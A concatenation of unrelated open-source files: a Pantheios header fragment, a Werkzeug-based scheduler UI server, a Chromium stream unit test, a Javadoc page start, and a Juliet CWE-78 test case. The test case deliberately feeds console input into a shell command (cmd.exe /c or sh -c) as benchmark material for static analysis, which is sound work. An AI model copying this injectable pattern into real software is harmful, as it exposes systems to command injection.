# pragma comment(lib, PANTHEIOS_IMPL_LINK_LIBRARY_NAME_("bec.WindowsDebugger.WithCallback"))
# pragma message(" " PANTHEIOS_IMPL_LINK_LIBRARY_NAME_("bec.WindowsDebugger.WithCallback"))
# elif defined(__MWERKS__)
# elif defined(__WATCOMC__)
# elif defined(_MSC_VER)
# pragma comment(lib, PANTHEIOS_IMPL_LINK_LIBRARY_NAME_("bec.WindowsDebugger.WithCallback"))
# pragma message(" " PANTHEIOS_IMPL_LINK_LIBRARY_NAME_("bec.WindowsDebugger.WithCallback"))
# else /* ? compiler */
# error Compiler not recognised
# endif /* compiler */
#endif /* PANTHEIOS_IMPLICIT_LINK_SUPPORT */
/* ////////////////////////////////////////////////////////////////////// */
#endif /* !PANTHEIOS_INCL_PANTHEIOS_IMPLICIT_LINK_H_BEC_WINDOWSDEBUGGER_CALLBACK */
/* ///////////////////////////// end of file //////////////////////////// */
| bsd-3-clause |
mushkevych/scheduler | synergy/mx/synergy_mx.py | 5162 | __author__ = 'Bohdan Mushkevych'
from threading import Thread
from werkzeug.wrappers import Request
from werkzeug.wsgi import ClosingIterator
from werkzeug.middleware.shared_data import SharedDataMiddleware
from werkzeug.exceptions import HTTPException, NotFound
from werkzeug.serving import run_simple
from synergy.conf import settings
from synergy.system.system_logger import get_logger
from synergy.scheduler.scheduler_constants import PROCESS_MX
from synergy.mx.utils import STATIC_PATH, local, local_manager, url_map, jinja_env
from synergy.mx import views
from flow.mx import views as flow_views
from flow.mx import STATIC_FLOW_ENDPOINT, STATIC_FLOW_PATH
import socket
socket.setdefaulttimeout(10.0) # set default socket timeout at 10 seconds
class MX(object):
""" MX stands for Management Extension and represents HTTP server serving UI front-end for Synergy Scheduler """
def __init__(self, mbean):
local.application = self
self.mx_thread = None
self.mbean = mbean
jinja_env.globals['mbean'] = mbean
self.dispatch = SharedDataMiddleware(self.dispatch, {
f'/scheduler/static': STATIC_PATH,
f'/{STATIC_FLOW_ENDPOINT}': STATIC_FLOW_PATH,
})
# during the get_logger call a 'werkzeug' logger will be created
# later, werkzeug._internal.py -> _log() will assign the logger to global _logger variable
self.logger = get_logger(PROCESS_MX)
def dispatch(self, environ, start_response):
local.application = self
request = Request(environ)
local.url_adapter = adapter = url_map.bind_to_environ(environ)
local.request = request
try:
endpoint, values = adapter.match()
# first - try to read from synergy.mx.views
handler = getattr(views, endpoint, None)
if not handler:
# otherwise - read from flow.mx.views
handler = getattr(flow_views, endpoint)
response = handler(request, **values)
except NotFound:
response = views.not_found(request)
response.status_code = 404
except HTTPException as e:
response = e
return ClosingIterator(response(environ, start_response),
[local_manager.cleanup])
def __call__(self, environ, start_response):
return self.dispatch(environ, start_response)
def start(self, hostname=None, port=None):
""" Spawns a new HTTP server, residing on defined hostname and port
:param hostname: the default hostname the server should listen on.
:param port: the default port of the server.
"""
if hostname is None:
hostname = settings.settings['mx_host']
if port is None:
port = settings.settings['mx_port']
reloader = False # use_reloader: the default setting for the reloader.
debugger = False #
evalex = True # should the exception evaluation feature be enabled?
threaded = False # True if each request is handled in a separate thread
processes = 1 # if greater than 1 then handle each request in a new process
reloader_interval = 1 # the interval for the reloader in seconds.
static_files = None # static_files: optional dict of static files.
extra_files = None # extra_files: optional list of extra files to track for reloading.
ssl_context = None # ssl_context: optional SSL context for running server in HTTPS mode.
self.mx_thread = Thread(target=run_simple(hostname=hostname,
port=port,
application=self,
use_debugger=debugger,
use_evalex=evalex,
extra_files=extra_files,
use_reloader=reloader,
reloader_interval=reloader_interval,
threaded=threaded,
processes=processes,
static_files=static_files,
ssl_context=ssl_context))
self.mx_thread.daemon = True
self.mx_thread.start()
def stop(self):
""" method stops currently running HTTP server, if any
:see: `werkzeug.serving.make_environ`
http://flask.pocoo.org/snippets/67/ """
func = jinja_env.get('werkzeug.server.shutdown')
if func is None:
raise RuntimeError('MX Error: no Shutdown Function registered for the Werkzeug Server')
func()
if __name__ == '__main__':
from synergy.scheduler.scheduler_constants import PROCESS_SCHEDULER
from synergy.scheduler.synergy_scheduler import Scheduler
scheduler = Scheduler(PROCESS_SCHEDULER)
app = MX(scheduler)
app.start()
| bsd-3-clause |
JianpingZeng/xcc | xcc/test/juliet/testcases/CWE78_OS_Command_Injection/s06/CWE78_OS_Command_Injection__wchar_t_console_w32spawnl_68a.c | 4053 | /* TEMPLATE GENERATED TESTCASE FILE
Filename: CWE78_OS_Command_Injection__wchar_t_console_w32spawnl_68a.c
Label Definition File: CWE78_OS_Command_Injection.strings.label.xml
Template File: sources-sink-68a.tmpl.c
*/
/*
* @description
* CWE: 78 OS Command Injection
* BadSource: console Read input from the console
* GoodSource: Fixed string
* Sink: w32spawnl
* BadSink : execute command with wspawnl
* Flow Variant: 68 Data flow: data passed as a global variable from one function to another in different source files
*
* */
#include "std_testcase.h"
#include <wchar.h>
#ifdef _WIN32
#define COMMAND_INT_PATH L"%WINDIR%\\system32\\cmd.exe"
#define COMMAND_INT L"cmd.exe"
#define COMMAND_ARG1 L"/c"
#define COMMAND_ARG2 L"dir "
#define COMMAND_ARG3 data
#else /* NOT _WIN32 */
#include <unistd.h>
#define COMMAND_INT_PATH L"/bin/sh"
#define COMMAND_INT L"sh"
#define COMMAND_ARG1 L"-c"
#define COMMAND_ARG2 L"ls "
#define COMMAND_ARG3 data
#endif
#include <process.h>
wchar_t * CWE78_OS_Command_Injection__wchar_t_console_w32spawnl_68_badData;
wchar_t * CWE78_OS_Command_Injection__wchar_t_console_w32spawnl_68_goodG2BData;
#ifndef OMITBAD
/* bad function declaration */
void CWE78_OS_Command_Injection__wchar_t_console_w32spawnl_68b_badSink();
void CWE78_OS_Command_Injection__wchar_t_console_w32spawnl_68_bad()
{
wchar_t * data;
wchar_t dataBuffer[100] = COMMAND_ARG2;
data = dataBuffer;
{
/* Read input from the console */
size_t dataLen = wcslen(data);
/* if there is room in data, read into it from the console */
if (100-dataLen > 1)
{
/* POTENTIAL FLAW: Read data from the console */
if (fgetws(data+dataLen, (int)(100-dataLen), stdin) != NULL)
{
/* The next few lines remove the carriage return from the string that is
* inserted by fgetws() */
dataLen = wcslen(data);
if (dataLen > 0 && data[dataLen-1] == L'\n')
{
data[dataLen-1] = L'\0';
}
}
else
{
printLine("fgetws() failed");
/* Restore NUL terminator if fgetws fails */
data[dataLen] = L'\0';
}
}
}
CWE78_OS_Command_Injection__wchar_t_console_w32spawnl_68_badData = data;
CWE78_OS_Command_Injection__wchar_t_console_w32spawnl_68b_badSink();
}
#endif /* OMITBAD */
#ifndef OMITGOOD
/* good function declarations */
void CWE78_OS_Command_Injection__wchar_t_console_w32spawnl_68b_goodG2BSink();
/* goodG2B uses the GoodSource with the BadSink */
static void goodG2B()
{
wchar_t * data;
wchar_t dataBuffer[100] = COMMAND_ARG2;
data = dataBuffer;
/* FIX: Append a fixed string to data (not user / external input) */
wcscat(data, L"*.*");
CWE78_OS_Command_Injection__wchar_t_console_w32spawnl_68_goodG2BData = data;
CWE78_OS_Command_Injection__wchar_t_console_w32spawnl_68b_goodG2BSink();
}
void CWE78_OS_Command_Injection__wchar_t_console_w32spawnl_68_good()
{
goodG2B();
}
#endif /* OMITGOOD */
/* Below is the main(). It is only used when building this testcase on
* its own for testing or for building a binary to use in testing binary
* analysis tools. It is not used when compiling all the testcases as one
* application, which is how source code analysis tools are tested.
*/
#ifdef INCLUDEMAIN
int main(int argc, char * argv[])
{
/* seed randomness */
srand( (unsigned)time(NULL) );
#ifndef OMITGOOD
printLine("Calling good()...");
CWE78_OS_Command_Injection__wchar_t_console_w32spawnl_68_good();
printLine("Finished good()");
#endif /* OMITGOOD */
#ifndef OMITBAD
printLine("Calling bad()...");
CWE78_OS_Command_Injection__wchar_t_console_w32spawnl_68_bad();
printLine("Finished bad()");
#endif /* OMITBAD */
return 0;
}
#endif
| bsd-3-clause |
highweb-project/highweb-webcl-html5spec | third_party/WebKit/Source/modules/fetch/ReadableStreamDataConsumerHandleTest.cpp | 19032 | // Copyright 2015 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "modules/fetch/ReadableStreamDataConsumerHandle.h"
#include "bindings/core/v8/ReadableStreamOperations.h"
#include "bindings/core/v8/ScriptState.h"
#include "bindings/core/v8/V8BindingMacros.h"
#include "bindings/core/v8/V8GCController.h"
#include "bindings/core/v8/V8RecursionScope.h"
#include "core/dom/Document.h"
#include "core/testing/DummyPageHolder.h"
#include "modules/fetch/DataConsumerHandleTestUtil.h"
#include "platform/heap/Handle.h"
#include "platform/testing/UnitTestHelpers.h"
#include "public/platform/WebDataConsumerHandle.h"
#include "testing/gmock/include/gmock/gmock.h"
#include "testing/gtest/include/gtest/gtest.h"
#include <v8.h>
// TODO(yhirano): Add cross-thread tests once the handle gets thread-safe.
namespace blink {
namespace {
using ::testing::InSequence;
using ::testing::StrictMock;
using Checkpoint = StrictMock<::testing::MockFunction<void(int)>>;
using Result = WebDataConsumerHandle::Result;
const Result kOk = WebDataConsumerHandle::Ok;
const Result kShouldWait = WebDataConsumerHandle::ShouldWait;
const Result kUnexpectedError = WebDataConsumerHandle::UnexpectedError;
const Result kDone = WebDataConsumerHandle::Done;
using Flags = WebDataConsumerHandle::Flags;
const Flags kNone = WebDataConsumerHandle::FlagNone;
class MockClient : public GarbageCollectedFinalized<MockClient>, public WebDataConsumerHandle::Client {
public:
static StrictMock<MockClient>* create() { return new StrictMock<MockClient>(); }
MOCK_METHOD0(didGetReadable, void());
DEFINE_INLINE_TRACE() {}
protected:
MockClient() = default;
};
class ReadableStreamDataConsumerHandleTest : public ::testing::Test {
public:
ReadableStreamDataConsumerHandleTest()
: m_page(DummyPageHolder::create())
{
}
ScriptState* getScriptState() { return ScriptState::forMainWorld(m_page->document().frame()); }
v8::Isolate* isolate() { return getScriptState()->isolate(); }
v8::MaybeLocal<v8::Value> eval(const char* s)
{
v8::Local<v8::String> source;
v8::Local<v8::Script> script;
V8RecursionScope::MicrotaskSuppression microtasks(isolate());
if (!v8Call(v8::String::NewFromUtf8(isolate(), s, v8::NewStringType::kNormal), source)) {
ADD_FAILURE();
return v8::MaybeLocal<v8::Value>();
}
if (!v8Call(v8::Script::Compile(getScriptState()->context(), source), script)) {
ADD_FAILURE() << "Compilation fails";
return v8::MaybeLocal<v8::Value>();
}
return script->Run(getScriptState()->context());
}
v8::MaybeLocal<v8::Value> evalWithPrintingError(const char* s)
{
v8::TryCatch block(isolate());
v8::MaybeLocal<v8::Value> r = eval(s);
if (block.HasCaught()) {
ADD_FAILURE() << toCoreString(block.Exception()->ToString(isolate())).utf8().data();
block.ReThrow();
}
return r;
}
PassOwnPtr<ReadableStreamDataConsumerHandle> createHandle(ScriptValue stream)
{
NonThrowableExceptionState es;
ScriptValue reader = ReadableStreamOperations::getReader(getScriptState(), stream, es);
ASSERT(!reader.isEmpty());
ASSERT(reader.v8Value()->IsObject());
return ReadableStreamDataConsumerHandle::create(getScriptState(), reader);
}
void gc() { V8GCController::collectAllGarbageForTesting(isolate()); }
private:
OwnPtr<DummyPageHolder> m_page;
};
TEST_F(ReadableStreamDataConsumerHandleTest, Create)
{
ScriptState::Scope scope(getScriptState());
ScriptValue stream(getScriptState(), evalWithPrintingError("new ReadableStream"));
ASSERT_FALSE(stream.isEmpty());
OwnPtr<ReadableStreamDataConsumerHandle> handle = createHandle(stream);
ASSERT_TRUE(handle);
MockClient* client = MockClient::create();
Checkpoint checkpoint;
InSequence s;
EXPECT_CALL(checkpoint, Call(1));
EXPECT_CALL(*client, didGetReadable());
EXPECT_CALL(checkpoint, Call(2));
OwnPtr<FetchDataConsumerHandle::Reader> reader = handle->obtainReader(client);
ASSERT_TRUE(reader);
checkpoint.Call(1);
testing::runPendingTasks();
checkpoint.Call(2);
}
TEST_F(ReadableStreamDataConsumerHandleTest, EmptyStream)
{
ScriptState::Scope scope(getScriptState());
ScriptValue stream(getScriptState(), evalWithPrintingError(
"new ReadableStream({start: c => c.close()})"));
ASSERT_FALSE(stream.isEmpty());
OwnPtr<ReadableStreamDataConsumerHandle> handle = createHandle(stream);
ASSERT_TRUE(handle);
MockClient* client = MockClient::create();
Checkpoint checkpoint;
InSequence s;
EXPECT_CALL(checkpoint, Call(1));
EXPECT_CALL(*client, didGetReadable());
EXPECT_CALL(checkpoint, Call(2));
EXPECT_CALL(*client, didGetReadable());
EXPECT_CALL(checkpoint, Call(3));
char c;
size_t readBytes;
OwnPtr<FetchDataConsumerHandle::Reader> reader = handle->obtainReader(client);
ASSERT_TRUE(reader);
checkpoint.Call(1);
testing::runPendingTasks();
checkpoint.Call(2);
EXPECT_EQ(kShouldWait, reader->read(&c, 1, kNone, &readBytes));
testing::runPendingTasks();
checkpoint.Call(3);
EXPECT_EQ(kDone, reader->read(&c, 1, kNone, &readBytes));
}
TEST_F(ReadableStreamDataConsumerHandleTest, ErroredStream)
{
ScriptState::Scope scope(getScriptState());
ScriptValue stream(getScriptState(), evalWithPrintingError(
"new ReadableStream({start: c => c.error()})"));
ASSERT_FALSE(stream.isEmpty());
OwnPtr<ReadableStreamDataConsumerHandle> handle = createHandle(stream);
ASSERT_TRUE(handle);
MockClient* client = MockClient::create();
Checkpoint checkpoint;
InSequence s;
EXPECT_CALL(checkpoint, Call(1));
EXPECT_CALL(*client, didGetReadable());
EXPECT_CALL(checkpoint, Call(2));
EXPECT_CALL(*client, didGetReadable());
EXPECT_CALL(checkpoint, Call(3));
char c;
size_t readBytes;
OwnPtr<FetchDataConsumerHandle::Reader> reader = handle->obtainReader(client);
ASSERT_TRUE(reader);
checkpoint.Call(1);
testing::runPendingTasks();
checkpoint.Call(2);
EXPECT_EQ(kShouldWait, reader->read(&c, 1, kNone, &readBytes));
testing::runPendingTasks();
checkpoint.Call(3);
EXPECT_EQ(kUnexpectedError, reader->read(&c, 1, kNone, &readBytes));
}
TEST_F(ReadableStreamDataConsumerHandleTest, Read)
{
ScriptState::Scope scope(getScriptState());
ScriptValue stream(getScriptState(), evalWithPrintingError(
"var controller;"
"var stream = new ReadableStream({start: c => controller = c});"
"controller.enqueue(new Uint8Array());"
"controller.enqueue(new Uint8Array([0x43, 0x44, 0x45, 0x46]));"
"controller.enqueue(new Uint8Array([0x47, 0x48, 0x49, 0x4a]));"
"controller.close();"
"stream"));
ASSERT_FALSE(stream.isEmpty());
OwnPtr<ReadableStreamDataConsumerHandle> handle = createHandle(stream);
ASSERT_TRUE(handle);
MockClient* client = MockClient::create();
Checkpoint checkpoint;
InSequence s;
EXPECT_CALL(checkpoint, Call(1));
EXPECT_CALL(*client, didGetReadable());
EXPECT_CALL(checkpoint, Call(2));
EXPECT_CALL(*client, didGetReadable());
EXPECT_CALL(checkpoint, Call(3));
EXPECT_CALL(*client, didGetReadable());
EXPECT_CALL(checkpoint, Call(4));
EXPECT_CALL(*client, didGetReadable());
EXPECT_CALL(checkpoint, Call(5));
EXPECT_CALL(*client, didGetReadable());
EXPECT_CALL(checkpoint, Call(6));
char buffer[3];
size_t readBytes;
OwnPtr<FetchDataConsumerHandle::Reader> reader = handle->obtainReader(client);
ASSERT_TRUE(reader);
checkpoint.Call(1);
testing::runPendingTasks();
checkpoint.Call(2);
EXPECT_EQ(kShouldWait, reader->read(buffer, 3, kNone, &readBytes));
testing::runPendingTasks();
checkpoint.Call(3);
EXPECT_EQ(kShouldWait, reader->read(buffer, 3, kNone, &readBytes));
testing::runPendingTasks();
checkpoint.Call(4);
EXPECT_EQ(kOk, reader->read(buffer, 3, kNone, &readBytes));
EXPECT_EQ(3u, readBytes);
EXPECT_EQ(0x43, buffer[0]);
EXPECT_EQ(0x44, buffer[1]);
EXPECT_EQ(0x45, buffer[2]);
EXPECT_EQ(kOk, reader->read(buffer, 3, kNone, &readBytes));
EXPECT_EQ(1u, readBytes);
EXPECT_EQ(0x46, buffer[0]);
EXPECT_EQ(kShouldWait, reader->read(buffer, 3, kNone, &readBytes));
testing::runPendingTasks();
checkpoint.Call(5);
EXPECT_EQ(kOk, reader->read(buffer, 3, kNone, &readBytes));
EXPECT_EQ(3u, readBytes);
EXPECT_EQ(0x47, buffer[0]);
EXPECT_EQ(0x48, buffer[1]);
EXPECT_EQ(0x49, buffer[2]);
EXPECT_EQ(kOk, reader->read(buffer, 3, kNone, &readBytes));
EXPECT_EQ(1u, readBytes);
EXPECT_EQ(0x4a, buffer[0]);
EXPECT_EQ(kShouldWait, reader->read(buffer, 3, kNone, &readBytes));
testing::runPendingTasks();
checkpoint.Call(6);
EXPECT_EQ(kDone, reader->read(buffer, 3, kNone, &readBytes));
}
TEST_F(ReadableStreamDataConsumerHandleTest, TwoPhaseRead)
{
ScriptState::Scope scope(getScriptState());
ScriptValue stream(getScriptState(), evalWithPrintingError(
"var controller;"
"var stream = new ReadableStream({start: c => controller = c});"
"controller.enqueue(new Uint8Array());"
"controller.enqueue(new Uint8Array([0x43, 0x44, 0x45, 0x46]));"
"controller.enqueue(new Uint8Array([0x47, 0x48, 0x49, 0x4a]));"
"controller.close();"
"stream"));
ASSERT_FALSE(stream.isEmpty());
OwnPtr<ReadableStreamDataConsumerHandle> handle = createHandle(stream);
ASSERT_TRUE(handle);
MockClient* client = MockClient::create();
Checkpoint checkpoint;
InSequence s;
EXPECT_CALL(checkpoint, Call(1));
EXPECT_CALL(*client, didGetReadable());
EXPECT_CALL(checkpoint, Call(2));
EXPECT_CALL(*client, didGetReadable());
EXPECT_CALL(checkpoint, Call(3));
EXPECT_CALL(*client, didGetReadable());
EXPECT_CALL(checkpoint, Call(4));
EXPECT_CALL(*client, didGetReadable());
EXPECT_CALL(checkpoint, Call(5));
EXPECT_CALL(*client, didGetReadable());
EXPECT_CALL(checkpoint, Call(6));
const void* buffer;
size_t available;
OwnPtr<FetchDataConsumerHandle::Reader> reader = handle->obtainReader(client);
ASSERT_TRUE(reader);
checkpoint.Call(1);
testing::runPendingTasks();
checkpoint.Call(2);
EXPECT_EQ(kShouldWait, reader->beginRead(&buffer, kNone, &available));
testing::runPendingTasks();
checkpoint.Call(3);
EXPECT_EQ(kShouldWait, reader->beginRead(&buffer, kNone, &available));
testing::runPendingTasks();
checkpoint.Call(4);
EXPECT_EQ(kOk, reader->beginRead(&buffer, kNone, &available));
EXPECT_EQ(4u, available);
EXPECT_EQ(0x43, static_cast<const char*>(buffer)[0]);
EXPECT_EQ(0x44, static_cast<const char*>(buffer)[1]);
EXPECT_EQ(0x45, static_cast<const char*>(buffer)[2]);
EXPECT_EQ(0x46, static_cast<const char*>(buffer)[3]);
EXPECT_EQ(kOk, reader->endRead(0));
EXPECT_EQ(kOk, reader->beginRead(&buffer, kNone, &available));
EXPECT_EQ(4u, available);
EXPECT_EQ(0x43, static_cast<const char*>(buffer)[0]);
EXPECT_EQ(0x44, static_cast<const char*>(buffer)[1]);
EXPECT_EQ(0x45, static_cast<const char*>(buffer)[2]);
EXPECT_EQ(0x46, static_cast<const char*>(buffer)[3]);
EXPECT_EQ(kOk, reader->endRead(1));
EXPECT_EQ(kOk, reader->beginRead(&buffer, kNone, &available));
EXPECT_EQ(3u, available);
EXPECT_EQ(0x44, static_cast<const char*>(buffer)[0]);
EXPECT_EQ(0x45, static_cast<const char*>(buffer)[1]);
EXPECT_EQ(0x46, static_cast<const char*>(buffer)[2]);
EXPECT_EQ(kOk, reader->endRead(3));
EXPECT_EQ(kShouldWait, reader->beginRead(&buffer, kNone, &available));
testing::runPendingTasks();
checkpoint.Call(5);
EXPECT_EQ(kOk, reader->beginRead(&buffer, kNone, &available));
EXPECT_EQ(4u, available);
EXPECT_EQ(0x47, static_cast<const char*>(buffer)[0]);
EXPECT_EQ(0x48, static_cast<const char*>(buffer)[1]);
EXPECT_EQ(0x49, static_cast<const char*>(buffer)[2]);
EXPECT_EQ(0x4a, static_cast<const char*>(buffer)[3]);
EXPECT_EQ(kOk, reader->endRead(4));
EXPECT_EQ(kShouldWait, reader->beginRead(&buffer, kNone, &available));
testing::runPendingTasks();
checkpoint.Call(6);
EXPECT_EQ(kDone, reader->beginRead(&buffer, kNone, &available));
}
TEST_F(ReadableStreamDataConsumerHandleTest, EnqueueUndefined)
{
ScriptState::Scope scope(getScriptState());
ScriptValue stream(getScriptState(), evalWithPrintingError(
"var controller;"
"var stream = new ReadableStream({start: c => controller = c});"
"controller.enqueue(undefined);"
"controller.close();"
"stream"));
ASSERT_FALSE(stream.isEmpty());
OwnPtr<ReadableStreamDataConsumerHandle> handle = createHandle(stream);
ASSERT_TRUE(handle);
MockClient* client = MockClient::create();
Checkpoint checkpoint;
InSequence s;
EXPECT_CALL(checkpoint, Call(1));
EXPECT_CALL(*client, didGetReadable());
EXPECT_CALL(checkpoint, Call(2));
EXPECT_CALL(*client, didGetReadable());
EXPECT_CALL(checkpoint, Call(3));
const void* buffer;
size_t available;
OwnPtr<FetchDataConsumerHandle::Reader> reader = handle->obtainReader(client);
ASSERT_TRUE(reader);
checkpoint.Call(1);
testing::runPendingTasks();
checkpoint.Call(2);
EXPECT_EQ(kShouldWait, reader->beginRead(&buffer, kNone, &available));
testing::runPendingTasks();
checkpoint.Call(3);
EXPECT_EQ(kUnexpectedError, reader->beginRead(&buffer, kNone, &available));
}
TEST_F(ReadableStreamDataConsumerHandleTest, EnqueueNull)
{
ScriptState::Scope scope(getScriptState());
ScriptValue stream(getScriptState(), evalWithPrintingError(
"var controller;"
"var stream = new ReadableStream({start: c => controller = c});"
"controller.enqueue(null);"
"controller.close();"
"stream"));
ASSERT_FALSE(stream.isEmpty());
OwnPtr<ReadableStreamDataConsumerHandle> handle = createHandle(stream);
ASSERT_TRUE(handle);
MockClient* client = MockClient::create();
Checkpoint checkpoint;
InSequence s;
EXPECT_CALL(checkpoint, Call(1));
EXPECT_CALL(*client, didGetReadable());
EXPECT_CALL(checkpoint, Call(2));
EXPECT_CALL(*client, didGetReadable());
EXPECT_CALL(checkpoint, Call(3));
const void* buffer;
size_t available;
OwnPtr<FetchDataConsumerHandle::Reader> reader = handle->obtainReader(client);
ASSERT_TRUE(reader);
checkpoint.Call(1);
testing::runPendingTasks();
checkpoint.Call(2);
EXPECT_EQ(kShouldWait, reader->beginRead(&buffer, kNone, &available));
testing::runPendingTasks();
checkpoint.Call(3);
EXPECT_EQ(kUnexpectedError, reader->beginRead(&buffer, kNone, &available));
}
TEST_F(ReadableStreamDataConsumerHandleTest, EnqueueString)
{
ScriptState::Scope scope(getScriptState());
ScriptValue stream(getScriptState(), evalWithPrintingError(
"var controller;"
"var stream = new ReadableStream({start: c => controller = c});"
"controller.enqueue('hello');"
"controller.close();"
"stream"));
ASSERT_FALSE(stream.isEmpty());
OwnPtr<ReadableStreamDataConsumerHandle> handle = createHandle(stream);
ASSERT_TRUE(handle);
MockClient* client = MockClient::create();
Checkpoint checkpoint;
InSequence s;
EXPECT_CALL(checkpoint, Call(1));
EXPECT_CALL(*client, didGetReadable());
EXPECT_CALL(checkpoint, Call(2));
EXPECT_CALL(*client, didGetReadable());
EXPECT_CALL(checkpoint, Call(3));
const void* buffer;
size_t available;
OwnPtr<FetchDataConsumerHandle::Reader> reader = handle->obtainReader(client);
ASSERT_TRUE(reader);
checkpoint.Call(1);
testing::runPendingTasks();
checkpoint.Call(2);
EXPECT_EQ(kShouldWait, reader->beginRead(&buffer, kNone, &available));
testing::runPendingTasks();
checkpoint.Call(3);
EXPECT_EQ(kUnexpectedError, reader->beginRead(&buffer, kNone, &available));
}
TEST_F(ReadableStreamDataConsumerHandleTest, StreamReaderShouldBeWeak)
{
OwnPtr<FetchDataConsumerHandle::Reader> reader;
Checkpoint checkpoint;
Persistent<MockClient> client = MockClient::create();
ScriptValue stream;
InSequence s;
EXPECT_CALL(checkpoint, Call(1));
EXPECT_CALL(*client, didGetReadable());
EXPECT_CALL(checkpoint, Call(2));
EXPECT_CALL(checkpoint, Call(3));
EXPECT_CALL(*client, didGetReadable());
EXPECT_CALL(checkpoint, Call(4));
{
// We need this scope to collect local handles.
ScriptState::Scope scope(getScriptState());
stream = ScriptValue(getScriptState(), evalWithPrintingError("new ReadableStream()"));
ASSERT_FALSE(stream.isEmpty());
OwnPtr<ReadableStreamDataConsumerHandle> handle = createHandle(stream);
ASSERT_TRUE(handle);
reader = handle->obtainReader(client);
ASSERT_TRUE(reader);
}
checkpoint.Call(1);
testing::runPendingTasks();
checkpoint.Call(2);
stream.clear();
gc();
checkpoint.Call(3);
testing::runPendingTasks();
checkpoint.Call(4);
const void* buffer;
size_t available;
EXPECT_EQ(kUnexpectedError, reader->beginRead(&buffer, kNone, &available));
}
TEST_F(ReadableStreamDataConsumerHandleTest, StreamReaderShouldBeWeakWhenReading)
{
OwnPtr<FetchDataConsumerHandle::Reader> reader;
Checkpoint checkpoint;
Persistent<MockClient> client = MockClient::create();
ScriptValue stream;
InSequence s;
EXPECT_CALL(checkpoint, Call(1));
EXPECT_CALL(*client, didGetReadable());
EXPECT_CALL(checkpoint, Call(2));
EXPECT_CALL(checkpoint, Call(3));
EXPECT_CALL(checkpoint, Call(4));
EXPECT_CALL(*client, didGetReadable());
EXPECT_CALL(checkpoint, Call(5));
{
// We need this scope to collect local handles.
ScriptState::Scope scope(getScriptState());
stream = ScriptValue(getScriptState(), evalWithPrintingError("new ReadableStream()"));
ASSERT_FALSE(stream.isEmpty());
OwnPtr<ReadableStreamDataConsumerHandle> handle = createHandle(stream);
ASSERT_TRUE(handle);
reader = handle->obtainReader(client);
ASSERT_TRUE(reader);
}
const void* buffer;
size_t available;
checkpoint.Call(1);
testing::runPendingTasks();
checkpoint.Call(2);
EXPECT_EQ(kShouldWait, reader->beginRead(&buffer, kNone, &available));
testing::runPendingTasks();
checkpoint.Call(3);
stream.clear();
gc();
checkpoint.Call(4);
testing::runPendingTasks();
checkpoint.Call(5);
EXPECT_EQ(kUnexpectedError, reader->beginRead(&buffer, kNone, &available));
}
} // namespace
} // namespace blink
| bsd-3-clause |
ExLibrisGroup/Rosetta.dps-sdk-projects | 6.1/javadoc/com/exlibris/digitool/common/dnx/DnxDocumentHelper.CreatingApplication.html | 25986 | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="en">
<head>
<!-- Generated by javadoc (1.8.0_45) on Tue Jun 25 16:54:49 IDT 2019 -->
<title>DnxDocumentHelper.CreatingApplication</title>
<meta name="date" content="2019-06-25">
<link rel="stylesheet" type="text/css" href="../../../../../stylesheet.css" title="Style">
<script type="text/javascript" src="../../../../../script.js"></script>
</head>
<body>
<script type="text/javascript"><!--
try {
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="DnxDocumentHelper.CreatingApplication";
}
}
catch(err) {
}
//-->
var methods = {"i0":10,"i1":10,"i2":10,"i3":10,"i4":10,"i5":10,"i6":10,"i7":10,"i8":10,"i9":10,"i10":10};
var tabs = {65535:["t0","All Methods"],2:["t2","Instance Methods"],8:["t4","Concrete Methods"]};
var altColor = "altColor";
var rowColor = "rowColor";
var tableTab = "tableTab";
var activeTableTab = "activeTableTab";
</script>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<!-- ========= START OF TOP NAVBAR ======= -->
<div class="topNav"><a name="navbar.top">
<!-- -->
</a>
<div class="skipNav"><a href="#skip.navbar.top" title="Skip navigation links">Skip navigation links</a></div>
<a name="navbar.top.firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../../overview-summary.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li class="navBarCell1Rev">Class</li>
<li><a href="package-tree.html">Tree</a></li>
<li><a href="../../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../../index-all.html">Index</a></li>
<li><a href="../../../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="../../../../../com/exlibris/digitool/common/dnx/DnxDocumentHelper.Collection.html" title="class in com.exlibris.digitool.common.dnx"><span class="typeNameLink">Prev Class</span></a></li>
<li><a href="../../../../../com/exlibris/digitool/common/dnx/DnxDocumentHelper.EnvHardwareRegistry.html" title="class in com.exlibris.digitool.common.dnx"><span class="typeNameLink">Next Class</span></a></li>
</ul>
<ul class="navList">
<li><a href="../../../../../index.html?com/exlibris/digitool/common/dnx/DnxDocumentHelper.CreatingApplication.html" target="_top">Frames</a></li>
<li><a href="DnxDocumentHelper.CreatingApplication.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_top">
<li><a href="../../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_top");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<div>
<ul class="subNavList">
<li>Summary: </li>
<li>Nested | </li>
<li><a href="#field.summary">Field</a> | </li>
<li><a href="#constructor.summary">Constr</a> | </li>
<li><a href="#method.summary">Method</a></li>
</ul>
<ul class="subNavList">
<li>Detail: </li>
<li><a href="#field.detail">Field</a> | </li>
<li><a href="#constructor.detail">Constr</a> | </li>
<li><a href="#method.detail">Method</a></li>
</ul>
</div>
<a name="skip.navbar.top">
<!-- -->
</a></div>
<!-- ========= END OF TOP NAVBAR ========= -->
<!-- ======== START OF CLASS DATA ======== -->
<div class="header">
<div class="subTitle">com.exlibris.digitool.common.dnx</div>
<h2 title="Class DnxDocumentHelper.CreatingApplication" class="title">Class DnxDocumentHelper.CreatingApplication</h2>
</div>
<div class="contentContainer">
<ul class="inheritance">
<li>java.lang.Object</li>
<li>
<ul class="inheritance">
<li>com.exlibris.digitool.common.dnx.DnxDocumentHelper.CreatingApplication</li>
</ul>
</li>
</ul>
<div class="description">
<ul class="blockList">
<li class="blockList">
